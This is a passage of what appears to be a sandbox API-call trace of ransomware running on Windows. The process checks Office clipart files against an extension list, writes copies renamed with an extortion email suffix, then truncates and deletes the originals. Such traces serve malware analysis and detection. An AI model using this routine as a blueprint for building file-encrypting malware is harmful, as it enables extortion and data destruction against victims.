(lpString=".7z") returned 3 [0184.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.647] lstrlenW (lpString=".dbf") returned 4 [0184.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.647] lstrlenW (lpString=".1cd") returned 4 [0184.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.647] lstrlenW (lpString=".jpg") returned 4 [0184.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.647] lstrlenW (lpString=".doc") returned 4 [0184.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.648] lstrlenW (lpString=".docx") returned 5 [0184.648] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.648] lstrlenW (lpString=".pdf") returned 4 [0184.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.648] lstrlenW (lpString=".xls") returned 4 [0184.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.648] lstrlenW (lpString=".xlsx") returned 5 [0184.648] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.648] lstrlenW (lpString=".ppt") returned 4 [0184.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.648] lstrlenW (lpString=".zip") returned 4 [0184.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.648] lstrlenW (lpString=".rar") returned 4 [0184.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.648] lstrlenW (lpString=".bz2") returned 4 [0184.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.648] lstrlenW (lpString=".7z") returned 3 [0184.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.648] lstrlenW (lpString=".dbf") returned 4 [0184.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.648] lstrlenW (lpString=".1cd") returned 4 [0184.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.648] lstrlenW (lpString=".jpg") returned 4 [0184.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.649] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.649] lstrlenW (lpString="J0107722.WMF") returned 12 [0184.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.650] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=8260) returned 1 [0184.650] CloseHandle (hObject=0x518) returned 1 [0184.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220 [0184.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.651] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.651] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.652] GetLastError () returned 0x0 [0184.652] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2044, lpOverlapped=0x0) returned 1 [0184.839] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2050, lpOverlapped=0x0) returned 1 [0184.841] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.841] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.841] SetEndOfFile (hFile=0x53c) returned 1 [0184.845] CloseHandle (hObject=0x53c) returned 1 [0184.845] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.846] SetEndOfFile (hFile=0x518) returned 1 [0184.850] CloseHandle (hObject=0x518) returned 1 [0184.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0184.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.853] lstrlenW (lpString=".doc") returned 4 [0184.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.853] lstrlenW (lpString=".docx") returned 5 [0184.853] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.853] lstrlenW (lpString=".pdf") returned 4 [0184.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.853] lstrlenW (lpString=".xls") returned 4 [0184.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.853] lstrlenW (lpString=".xlsx") returned 5 [0184.853] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.853] lstrlenW (lpString=".ppt") returned 4 [0184.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.853] lstrlenW (lpString=".zip") returned 4 [0184.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.853] lstrlenW (lpString=".rar") returned 4 [0184.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.853] lstrlenW (lpString=".bz2") returned 4 [0184.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.853] lstrlenW (lpString=".7z") returned 3 [0184.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.853] lstrlenW (lpString=".dbf") returned 4 [0184.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.853] lstrlenW (lpString=".1cd") returned 4 [0184.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.854] lstrlenW (lpString=".jpg") returned 4 [0184.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.854] lstrlenW (lpString=".doc") returned 4 [0184.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.854] lstrlenW (lpString=".docx") returned 5 [0184.854] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.854] lstrlenW (lpString=".pdf") returned 4 [0184.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.854] lstrlenW (lpString=".xls") returned 4 [0184.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.854] lstrlenW (lpString=".xlsx") returned 5 [0184.854] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.854] lstrlenW (lpString=".ppt") returned 4 [0184.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.854] lstrlenW (lpString=".zip") returned 4 [0184.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.855] lstrlenW (lpString=".rar") returned 4 [0184.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.855] lstrlenW (lpString=".bz2") returned 4 [0184.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.855] lstrlenW (lpString=".7z") returned 3 [0184.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.855] lstrlenW (lpString=".dbf") returned 4 [0184.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.855] lstrlenW (lpString=".1cd") returned 4 [0184.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0184.855] lstrlenW (lpString=".jpg") returned 4 [0184.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.855] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.855] lstrlenW (lpString="J0107744.WMF") returned 12 [0184.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0185.052] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=5004) returned 1 [0185.052] CloseHandle (hObject=0x36c) returned 1 [0185.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220 [0185.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0185.054] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.055] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.057] GetLastError () returned 0x0 [0185.057] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x138c, lpOverlapped=0x0) returned 1 [0185.091] WriteFile (in: hFile=0x548, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1390, lpOverlapped=0x0) returned 1 [0185.092] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.093] WriteFile (in: hFile=0x548, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.093] SetEndOfFile (hFile=0x548) returned 1 [0185.093] CloseHandle (hObject=0x548) returned 1 [0185.093] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.093] SetEndOfFile (hFile=0x36c) returned 1 [0185.096] CloseHandle (hObject=0x36c) returned 1 [0185.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0185.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.098] lstrlenW (lpString=".doc") returned 4 [0185.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.098] lstrlenW (lpString=".docx") returned 5 [0185.098] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0185.098] lstrlenW (lpString=".pdf") returned 4 [0185.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.098] lstrlenW (lpString=".xls") returned 4 [0185.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.099] lstrlenW (lpString=".xlsx") returned 5 [0185.099] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0185.099] lstrlenW (lpString=".ppt") returned 4 [0185.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.099] lstrlenW (lpString=".zip") returned 4 [0185.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.099] lstrlenW (lpString=".rar") returned 4 [0185.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.099] lstrlenW (lpString=".bz2") returned 4 [0185.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.099] lstrlenW (lpString=".7z") returned 3 [0185.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.099] lstrlenW (lpString=".dbf") returned 4 [0185.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.099] lstrlenW (lpString=".1cd") returned 4 [0185.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.099] lstrlenW (lpString=".jpg") returned 4 [0185.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.099] lstrlenW (lpString=".doc") returned 4 [0185.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.099] lstrlenW (lpString=".docx") returned 5 [0185.099] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0185.100] lstrlenW (lpString=".pdf") returned 4 [0185.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.100] lstrlenW (lpString=".xls") returned 4 [0185.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.100] lstrlenW (lpString=".xlsx") returned 5 [0185.100] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0185.100] lstrlenW (lpString=".ppt") returned 4 [0185.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.100] lstrlenW (lpString=".zip") returned 4 [0185.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.100] lstrlenW (lpString=".rar") returned 4 [0185.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.100] lstrlenW (lpString=".bz2") returned 4 [0185.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.100] lstrlenW (lpString=".7z") returned 3 [0185.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.100] lstrlenW (lpString=".dbf") returned 4 [0185.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.100] lstrlenW (lpString=".1cd") returned 4 [0185.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0185.100] lstrlenW (lpString=".jpg") returned 4 [0185.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.101] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0185.101] lstrlenW (lpString="J0107748.WMF") returned 12 [0185.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.104] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=8224) returned 1 [0185.104] CloseHandle (hObject=0x548) returned 1 [0185.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220 [0185.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0185.105] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.105] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0185.107] GetLastError () returned 0x0 [0185.107] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2020, lpOverlapped=0x0) returned 1 [0185.116] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2030, lpOverlapped=0x0) returned 1 [0185.117] ReadFile (in: hFile=0x548, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.117] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.117] SetEndOfFile (hFile=0x3ac) returned 1 [0185.118] CloseHandle (hObject=0x3ac) returned 1 [0185.118] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.118] SetEndOfFile (hFile=0x548) returned 1 [0185.122] CloseHandle (hObject=0x548) returned 1 [0185.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0185.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.124] lstrlenW (lpString=".doc") returned 4 [0185.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.124] lstrlenW (lpString=".docx") returned 5 [0185.124] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0185.124] lstrlenW (lpString=".pdf") returned 4 [0185.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.124] lstrlenW (lpString=".xls") returned 4 [0185.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.124] lstrlenW (lpString=".xlsx") returned 5 [0185.124] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0185.124] lstrlenW (lpString=".ppt") returned 4 [0185.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.124] lstrlenW (lpString=".zip") returned 4 [0185.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.124] lstrlenW (lpString=".rar") returned 4 [0185.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.124] lstrlenW (lpString=".bz2") returned 4 [0185.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.125] lstrlenW (lpString=".7z") returned 3 [0185.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0185.125] lstrlenW (lpString=".dbf") returned 4 [0185.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.125] lstrlenW (lpString="C:\\Program Files\\Microsoft 